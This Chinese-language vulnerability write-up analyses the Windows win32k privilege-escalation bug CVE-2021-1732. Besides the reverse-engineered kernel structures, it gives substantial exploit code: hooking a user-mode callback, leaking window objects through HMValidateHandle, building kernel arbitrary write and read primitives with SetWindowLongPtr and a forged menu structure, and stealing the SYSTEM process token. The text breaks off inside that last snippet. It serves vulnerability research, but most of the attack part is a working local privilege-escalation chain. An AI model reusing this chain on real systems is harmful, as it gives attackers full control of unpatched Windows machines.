CVE-2021-1732&CVE-2022-21882 win32k漏洞分析
这两个漏洞都是win32k驱动的提权漏洞, 两个漏洞关联性比较强,所以一块分析了.分析环境分别是win10 1809和win10 21h2
CVE-2021-1732漏洞分析与利用
这个漏洞发生在win32kfull创建窗口的函数中,当窗口对象存在扩展内存时,会通过KeUserModeCallback返回ring3,指定回调函数,申请一块内存空间,分配后的地址ring0获取后,会通过tagWND->flag这个标志位进行判断,默认为0,如果为0x800则会作为一个偏移所使用,而这个标志位被篡改为0x800,调用SetWindowsLong会会导致访问到未知的内存地址,发生bsod.
1.漏洞分析
CreateWindowEx在win32kfull的调用过程是NtUserCreateWindowEx->xxxCreateWindowEx
看下xxxCreateWindowEx的代码,HMAllocObject此处创建了一个窗口对象.

并且在偏移0x28位置仍有一个结构体,并将它其中偏移0x128的数据做了初始化,后面也有一些其他位置的填充,其实这就是win32k中的tagWND结构体和tagWNDK结构体,在HMAllocObject内部,初始化了窗口对象的一些结构,包括taghwnd和tagwndk距离桌面堆基址的偏移之前已经有人逆向推测出了它们的结构.我们只需要重点关注几个位置.

tagWND结构体
1 2 3
| 0x18 ptagDesktop ->0x80 kernelDesktopHeapBase 0x28 ptagWndk 0x30 OffsetToDesktopHeap
|
tagWNDK结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| struct tagWNDK { ULONG64 hWnd; //+0x00 ULONG64 OffsetToDesktopHeap;//+0x08 tagWNDK相对桌面堆基址偏移 ULONG64 state; //+0x10 DWORD dwExStyle; //+0x18 DWORD dwStyle; //+0x1C BYTE gap[0x38]; DWORD rectBar_Left; //0x58 DWORD rectBar_Top; //0x5C BYTE gap1[0x68]; ULONG64 cbWndExtra; //+0xC8 窗口扩展内存的大小 BYTE gap2[0x18]; DWORD dwExtraFlag; //+0xE8 决定SetWindowLong寻址模式 BYTE gap3[0x10]; //+0xEC DWORD cbWndServerExtra; //+0xFC BYTE gap5[0x28]; ULONG64 pExtraBytes; //+0x128 模式1:内核偏移量 模式2:用户态指针 };
|
然后在RedirectedFieldcbwndExtra中判断扩展内存大小是否为0,如果不为0,就调用xxxClientAllocWindowClassExtraBytes,参数为扩展内存大小,然后将返回值存入pExtraBytes中.


xxxClientAllocWindowClassExtraBytes,可以看到它通过KeUserModeCallback函数,返回ring3,执行用户态代码,apinumber是0x7b,在ring3的peb偏移0x58处,是可以找到KernelCallbackTable的,我们后面在编写poc的时候需要hook它.
执行完之后,它会判断输出的长度是否为0x18.后面又做了一些内存的验证.

调用的ring3函数.申请内存返回至ring0,返回的长度为0x18


接下来看看漏洞是怎么被触发的,看看SetWindowLong函数,win32kfull中的调用过程为NtUserSetWindowLongPtr->xxxSetWindowLongPtr.
可以直接定位到此处,此处对tagWNDK->dwExtraFlag处的值进行了判断
如果dwExtraFlag==0x800,那么会将pExtraBytes中的地址作为一个偏移,加上内核桌面堆的地址,+index,进行赋值
如果dwExtraFlag!=0x800,那么就会把pExtraBytes作为一个绝对地址+index进行赋值.
如果dwExtraFlag==0x800,并且pExtraBytes中的地址并不是一个偏移,那么此时就触发了漏洞.

dwExtraFlag的值是进行了篡改的,在win32kfull中,有一个函数是可以直接修改它的.
在NtUserConsoleControl->xxxConsoleControl中,主要关注下第一个参数和最后一个参数,经过逆向,第一个参数应该是代表的功能号,第二个应该是数据长度.index在流程中不断递减.

当满足index为6时,并且长度等于10时,才会继续下面的流程,
这里首先通过函数传入句柄获取了窗口的结构信息.
然后继续下面的流程,最后将dwExtraFlag设置为0x800.

重点看下后面的流程,首先通过DesktopAlloc申请一块内存DesktopMem,然后将pExtraBytes中的数据copy到这块内存中,释放pExtraBytes.
接着将DesktopMem-kernelDesktopHeapBase内核桌面基址,获取偏移量,然后重新设置到pExtraBytes里面,最后将dwExtraFlag标志位修改0x800.

目前,我们已经搞清楚了漏洞触发的流程,漏洞的根本原因是在执行完毕ring3的函数后,没有对标志位进行二次验证.导致可以hook _xxxClientAllocWindowClassExtraBytes去主动修改标志位.
2.编写poc
整理下漏洞的触发过程
1.CreateWindowExW创建窗口,创建扩展内存
2.KeUserModeCallback回调ring3 _xxxClientAllocWindowClassExtraBytes
3.调用NtUserConsoleControl将标志位修改为0x800
4.创建指定长度扩展内存,NtCallbackReturn返回至ring0.
5.CreateWindowExW执行完毕,执行SetWindowsLongW,将pExtraBytes中的地址作为偏移写入,触发异常.
在上面的流程中,还存在了一个问题,就是在调用NtUserConsoleControl时,我们没有一个可用的窗口句柄,虽然在HMAllocObject时已经创建了窗口对象,并且创建了窗口句柄.
可是CreateWindowExW并未执行完毕,_xxxClientAllocWindowClassExtraBytes中无法直接获取到.
需要一点技巧来解决这个问题:
虽然CreateWindowExW没有返回,但是在执行HMAllocObject后,窗口句柄已经在内存里面了.
我们之前看到在xxxConsoleControl中,它使用了ValidateHandle通过窗口句柄获取了窗口对象.在user32.dll中,同样存在一个这样的函数:HMValidateHandle,这是一个未导出的函数,不过在IsMean中是直接调用了这个函数的,不过,它只给了返回值,虽然不能直接调用,但是可以通过IsMenu定位到.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| bool FindHMValidateHandle(FHMValidateHandle* pfOutHMValidateHandle) { *pfOutHMValidateHandle = NULL; HMODULE hUser32 = GetModuleHandle(L"user32.dll"); PBYTE pMenuFunc = (PBYTE)GetProcAddress(hUser32, "IsMenu"); if (pMenuFunc) { for (int i = 0; i < 0x100; ++i) { if (0xe8 == *pMenuFunc++) { DWORD ulOffset = *(PINT)pMenuFunc; *pfOutHMValidateHandle = (FHMValidateHandle)(pMenuFunc + 5 + (ulOffset & 0xffff) - 0x10000 - ((ulOffset >> 16 ^ 0xffff) * 0x10000)); break; } } } return *pfOutHMValidateHandle != NULL ? true : false; }
|
现在,可以直接泄露tagWND的映射在ring3的对象指针了.
接下来,可以创建大量的窗口,然后记录它们的对象指针,然后释放,再次创建一个cbWndExtra与之前不同的窗口进行占位,然后在_xxxClientAllocWindowClassExtraBytes中遍历我们释放的对象指针,通过cbWndExtra的变化确认是否成功占位,然后通过之前记录的对象指针,就可以直接获取新创建窗口的句柄了.
关键poc代码片段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| DWORD g_dwMyWndExtra = 0x1234; NTSTATUS WINAPI MyxxxClientAllocWindowClassExtraBytes(unsigned int* pSize) { if (*pSize == g_dwMyWndExtra) { HANDLE search_hWnd = NULL; for (int i = 2; i < 50; i++) { ULONG_PTR cbWndExtra = *(ULONG_PTR*)(g_pWnd[i] + g_cbWndExtra_offset); if (cbWndExtra == g_dwMyWndExtra) { search_hWnd = (HWND) * (ULONG_PTR*)(g_pWnd[i]); break; } } if (search_hWnd != NULL) { printf("search hwnd success"); } else { printf("search hwnd fail"); return g_fxxxClientAllocWindowClassExtraBytes(pSize); } ULONG_PTR ululValue = 0; ULONG_PTR ConsoleCtrlInfo[2] = { 0 }; ConsoleCtrlInfo[0] = (ULONG_PTR)search_hWnd; ConsoleCtrlInfo[1] = 0; g_fNtUserConsoleControl(6, (ULONG_PTR)&ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo)); ULONG_PTR Result[3] = { 0 }; Result[0] = (ULONG_PTR)malloc(0x1000); return g_fFNtCallbackReturn(&Result, sizeof(Result), 0); } return g_fxxxClientAllocWindowClassExtraBytes(pSize); } int APIENTRY wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow) { ............................. ............................. WNDCLASSEX WndClass = { 0 }; WndClass.cbSize = sizeof(WNDCLASSEX); WndClass.lpfnWndProc = DefWindowProc; WndClass.style = CS_VREDRAW | CS_HREDRAW; WndClass.cbWndExtra = 0x20; WndClass.hInstance = hInstance; WndClass.lpszMenuName = NULL; WndClass.lpszClassName = L"Class1"; RegisterClassEx(&WndClass); WndClass.cbWndExtra = g_dwMyWndExtra; WndClass.hInstance = hInstance; WndClass.lpszClassName = L"Class2"; RegisterClassEx(&WndClass); HMENU hMenu = NULL; HMENU hHelpMenu = NULL; for (int i = 0; i < 50; i++) { if (i == 1) { hMenu = CreateMenu(); hHelpMenu = CreateMenu(); } g_hWnd[i] = CreateWindowEx(NULL, L"Class1", NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, hMenu, hInstance, NULL); g_pWnd[i] = (ULONG_PTR)fHMValidateHandle(g_hWnd[i], 1); } for (int i = 2; i < 50; i++) { if (g_hWnd[i] != NULL) { DestroyWindow((HWND)g_hWnd[i]); } } HWND hWnd2 = CreateWindowEx(NULL, L"Class2", NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, NULL, hInstance, NULL); PVOID pWnd2 = fHMValidateHandle(hWnd2, 1); SetWindowLong(hWnd2, g_cbWndExtra_offset, 0x0FFFFFFFF); }
|
对win32kfull!xxxSetWindowLongPtr+0x131b6b处,下一个硬件执行断点.
1
| ba e1 win32kfull!xxxSetWindowLongPtr+0x131b6b
|

此时xxxSetWindowLongPtr将把pExtraBytes作为偏移,kernelDesktopHeapBase作为基址+index,后面从这块内存取数据时将发生bsod.



poc编写完成.
3.漏洞利用
这是一个因为逻辑漏洞而造成的任意地址写,写入的地址为desktopbase+pExtraBytes+index,写入的范围是由cbWndExtra决定的.在SetWindowLongPtr中也可以看到对这个字段的验证.

任意地址写
对于实现任意地址写而言,有2个问题需要解决:
1.pExtraBytes的地址可控制
2.pExtraBytes是一个绝对地址,也就是说dwExtraFlag的标志位不能为0x800,如果加上桌面堆基址就不可控了.
然而触发漏洞dwExtraFlag必须要为0x800,才能写入一些位置,有些矛盾了,所以我们需要2个窗口解决这个问题.
在poc中前2个连续的窗口是没有进行释放的,这也是我们实现任意地址写所要利用的2个窗口.
在tagwndk结构体中,+8位置是tagwndk结构体距离桌面堆地址的偏移.我们借助HMValidateHandle是可以泄露这个值的,再配合漏洞,将第一个窗口的dwExtraFlag在MyxxxClientAllocWindowClassExtraBytes修改为0x800,在NtCallbackReturn返回ring0地址时,将返回的地址设置为tagwndk+8字段也就是第一个窗口距离桌面堆地址的偏移.
那么在调用SetWindowLongPtr时,桌面堆地址在+我们给的第一个窗口的tagwndk+8,就可以控制第一个窗口的tagwndk结构了,此时我们可以将cbWndExtra字段修改的足够大,用于写入第二个窗口.
然后我们泄露第二个窗口的与桌面堆基址的偏移(tagwndk+8),然后减去第一个窗口距桌面堆基址的偏移,最终得到的数据就是第一个窗口与第二个窗口之间tagwndk结构的偏移了,此时第一个窗口的pExtraBytes字段保存的就是它与桌面堆基址的偏移,此时我们的cbWndExtra已经被扩大了,可以直接使用SetWindowsLongPtr写入第二个窗口的pExtraBytes字段,并且它是一个绝对偏移,我们没有改变第二个窗口的dwExtraFlag,此时再调用SetWindowLongPtr操作第二个窗口,就实现了任意地址写,听起来可能有点绕.流程大概是这样,如下图.

1 2 3 4 5 6 7 8
| ULONG_PTR ConsoleCtrlInfo[2] = { 0 }; ConsoleCtrlInfo[0] = (ULONG_PTR)hWnd2; ConsoleCtrlInfo[1] = ululValue; NTSTATUS ret = g_fNtUserConsoleControl(6, (ULONG_PTR)&ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));
ULONG_PTR Result[3] = { 0 }; Result[0] = g_dwpWndKernel_heap_offset0; return g_fFNtCallbackReturn(&Result, sizeof(Result), 0);
|
1 2 3 4 5 6 7 8 9 10 11
| dwpWnd0_to_pWnd1_kernel_heap_offset = *(ULONGLONG*)((PBYTE)g_pWnd[0] + 0x128);
dwpWnd0_to_pWnd1_kernel_heap_offset = (g_dwpWndKernel_heap_offset1 - dwpWnd0_to_pWnd1_kernel_heap_offset); HWND hWnd2 = CreateWindowEx(NULL, L"Class2", NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, NULL, hInstance, NULL); PVOID pWnd2 = fHMValidateHandle(hWnd2, 1);
SetWindowLong(hWnd2, g_cbWndExtra_offset, 0x0FFFFFFFF);
ULONGLONG ululStyle = *(ULONGLONG*)((PBYTE)g_pWnd[1] + g_dwExStyle_offset); ululStyle |= 0x4000000000000000L; SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle);
|
任意地址读
对于任意地址读,可以借助一些函数来实现.
GetMenuBarInfo函数,一些结构参考了下ReactOS源码.

函数判断了idObject是否为-3,dwStyle是否不为0x40000000,tagMenu不为空,然后idItem大于0,
最后在tagMenu+0x58处取出数据作为地址,然后经过0x60和idItem作为偏移做一些计算,把这个地址的数据写入了pmbi->rcBar中.

可以伪造一个tagMenu结构,并将这个结构通过之前实现的任意地址写入到tagwndk中,然后调用函数GetMenuBarInfo读取数据到pmbi里面.就可以实现任意地址读.
1 2 3 4 5 6 7 8 9
| g_pMyMenu = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0xA0); *(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x98) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x20); **(ULONG_PTR**)((PBYTE)g_pMyMenu + 0x98) = g_pMyMenu; *(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x28) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x200); *(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x8); *(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x28) + 0x2C) = 1; *(DWORD*)((PBYTE)g_pMyMenu + 0x40) = 1; *(DWORD*)((PBYTE)g_pMyMenu + 0x44) = 2; *(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58)) = 0x4141414141414141;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| void ReadKernelMemoryQQWORD(ULONG_PTR pAddress, ULONG_PTR &ululOutVal1, ULONG_PTR &ululOutVal2) { MENUBARINFO mbi = { 0 }; mbi.cbSize = sizeof(MENUBARINFO);
RECT Rect = { 0 }; GetWindowRect(g_hWnd[1], &Rect);
*(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58)) = pAddress - 0x40; GetMenuBarInfo(g_hWnd[1], -3, 1, &mbi);
BYTE pbKernelValue[16] = { 0 }; *(DWORD*)(pbKernelValue) = mbi.rcBar.left - Rect.left; *(DWORD*)(pbKernelValue + 4) = mbi.rcBar.top - Rect.top; *(DWORD*)(pbKernelValue + 8) = mbi.rcBar.right - mbi.rcBar.left; *(DWORD*)(pbKernelValue + 0xc) = mbi.rcBar.bottom - mbi.rcBar.top;
ululOutVal1 = *(ULONG_PTR*)(pbKernelValue); ululOutVal2 = *(ULONG_PTR*)(pbKernelValue + 8);
}
|
提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| ReadKernelMemoryQQWORD(pNextEProcess + g_dwEPROCESS_ActiveProcessLinks_offset, ululValue1, ululValue2); pNextEProcess = ululValue1 - g_dwEPROCESS_ActiveProcessLinks_offset;
ReadKernelMemoryQQWORD(pNextEProcess + g_dwEPROCESS_UniqueProcessId_offset, ululValue1, ululValue2);
ULONG_PTR nProcessId = ululValue1; if (nProcessId == 4) { pSystemEProcess = pNextEProcess; std::cout << "System kernel eprocess: " << std::hex << pSystemEProcess << std::endl;
ReadKernelMemoryQQWORD(pSystemEProcess + g_dwEPROCESS_Token_offset, ululValue1, ululValue2); ULONG_PTR pSystemToken = ululValue1;
ULONG_PTR pMyEProcessToken = pMyEProcess + g_dwEPROCESS_Token_offset;
LONG_PTR old = SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)pMyEProcessToken); SetWindowLongPtr(g_hWnd[1], 0, (LONG_PTR)pSystemToken); SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)old);
|
